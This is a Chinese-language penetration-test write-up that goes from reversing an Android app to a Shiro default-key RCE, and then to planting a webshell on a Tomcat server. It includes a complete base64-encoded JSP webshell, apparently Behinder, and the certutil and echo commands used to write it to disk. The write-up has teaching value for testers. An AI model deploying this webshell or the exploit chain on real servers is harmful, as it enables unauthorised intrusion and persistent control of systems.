APP簡單逆向到getshell
前言
某APP滲透測試，主頁就一個登錄框，登錄框認證調用的公司門戶站的SSO單點登錄，再加上長亭的waf，幾乎牢不可破，常規手法都有嘗試，沒有什么突破點。
脫殼逆向
jadx一把梭，看看有沒有什么敏感信息泄露，審源碼的時候發現有愛加密加固，反射大師脫殼一把梭，得到dex文件，然后又jadx一把梭看代碼（這個過程就省略了，主題不是它）。
逆向分析
大致粗略的看了一下，用的okhttp框架，有反抓包，直接hook繞過即可正常抓包，數據庫密碼，阿里osskey之類的也沒有硬編碼在app中，沒有什么敏感信息可以利用，登錄驗證算法都是調用的單點登錄，也沒有什么突破點。
突破口
正當沒啥進展的時候，亂翻了翻基礎類源碼，發現BaseUrlConfig類中有一串URL，都是一個ip，但是端口不一樣。
推薦一款app信息搜集工具，能主動掃描獲取app中的url信息， AppInfoScanner
訪問鏈接，頁面空白，由圖標得知上面搭載的tomcat。
然后全局搜索http://關鍵詞，又搜到一個url（這次是域名），類似于http://xxxxx:8080/web/weixin/xxxxxx，瀏覽器打開看了一下，沒啥東西，也是空白頁面。因為url中出現weixin關鍵詞，推測兩種可能，第一種：登陸點，第二種，微信授權接口。所以簡單猜了下路徑，在weixin后面加了個login，http://xxxxx:8080/web/weixin/login，發現登陸點，由于路徑跟上面發現的url類似，推測它也是java的后端，直接shiro一把梭，默認key，成功rce，java后端rce一般都是system權限。。
寫入webshell踩坑
RCE之后呢，當然不能只滿足現狀，為了方便管理，肯定得寫個webshell的。
寫shell，用的最多的就幾種，小馬傳大馬，手動echo寫入，遠程下載等方式，這里服務器不通外網，也就沒法遠程下載了，沒有上傳點，而且小馬的代碼量跟冰蝎差不多，就不考慮寫小馬了。
坑1—特殊字符轉義
windows服務器寫shell，常規做法無非就是echo shell內容 > shell.jsp，shell內容中肯定有特殊字符，用^轉義一下就行了，但是這里目標環境是jsp，jsp馬跟其他馬不一樣，內容多，特殊字符多，轉義起來麻煩得很，我這里以寫冰蝎為例，轉義了半天，把所有特殊字符都轉義了，先本地測試了一下，能成功寫馬，但是在shiro工具里就不行…估計跟編碼有關，大概試了半個多小時，無果。放棄。
坑2—BASE解碼報錯
特殊字符多，還有一中辦法是先把shell內容base64編碼一下，然后在目標機上解碼。cmd是有base64解碼的功能的，具體可以百度certutil用法。
certutil -decode 1.txt 2.txt //1.txt解碼生成2.txt。
情況還是一樣的，本地測試成功，在服務器上就是解碼失敗，輸出長度為0，箭頭指向的本來是0的，我偷懶就隨便找了張圖 。
除此之外，什么字符拼接啊，base64一段段輸入然后解碼啊，全試過了，不是報錯就是寫不進去或者是base解碼輸出長度為0，大概率是目標服務器的問題，在這里浪費了大量時間。
最后咋解決的呢，最后采用的fuzz大法，把shell內容一段段base64編碼上傳，然后解碼，一段一段的fuzz測試，看到底是那部分字符導致了base解碼失敗。最后鎖定了冰蝎馬的最后四個字符 ;}%>，不加這四個字符，base64解碼能正常輸出內容，只要base64編碼里是以這四個字符結尾，那么就解碼報錯。
坑3—根目錄webshell不解析
成功寫入webshell之后，解碼也成功了，webshell地址寫在了網站根目錄，連接時發現報錯，手動訪問發現webshell直接變成了下載鏈接，webshell根本沒解析。后來將webshell寫入docs目錄下才成功解析，因為docs目錄是tomcat自帶的說明文檔目錄。
整理思路
1.找到了問題所在，那么就定點打擊。思路是：先將除最后四個字符以外的shell內容base編碼傳到目標上，然后解碼輸出到2.jsp。
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KQ>1.txtcertutil -decode 1.txt 2.jsp
2.剩下的四個特殊字符經過echo語句 手動追加到2.jsp末尾
echo ^;^}^%^>>2.jsp
3.最后成功寫入docs目錄。附上一張連接圖
結尾
這波寫shell，大概耗時兩個多小時，還有很多小細節沒說，本地操作不報錯并不代表服務器上操作不會報錯，環境可能不一樣，有時候還有玄學問題，在此之前我也有過shiro寫shell的經歷，但是那次沒這么多問題，一次性base解碼寫shell成功，而且直接通過文件下載把webshell下載到目標中也行，每個人遇到的環境都可能不一樣，最好的方法就是不斷fuzz測試，找到報錯的原因，然后精準打擊。 再補充一句…內存馬注入也可以，但是任意把站弄崩，別問我怎么知道的，不到萬不得已不注入內存馬。
最后確認資產的時候沒打偏，打到了該公司的一臺其他業務的服務器上去了，如果從正面剛APP的話，就算有shiro，也沒法繞waf，如果正面無法突破的話，可以嘗試搜集一些app內部的敏感信息，說不定有突破口。
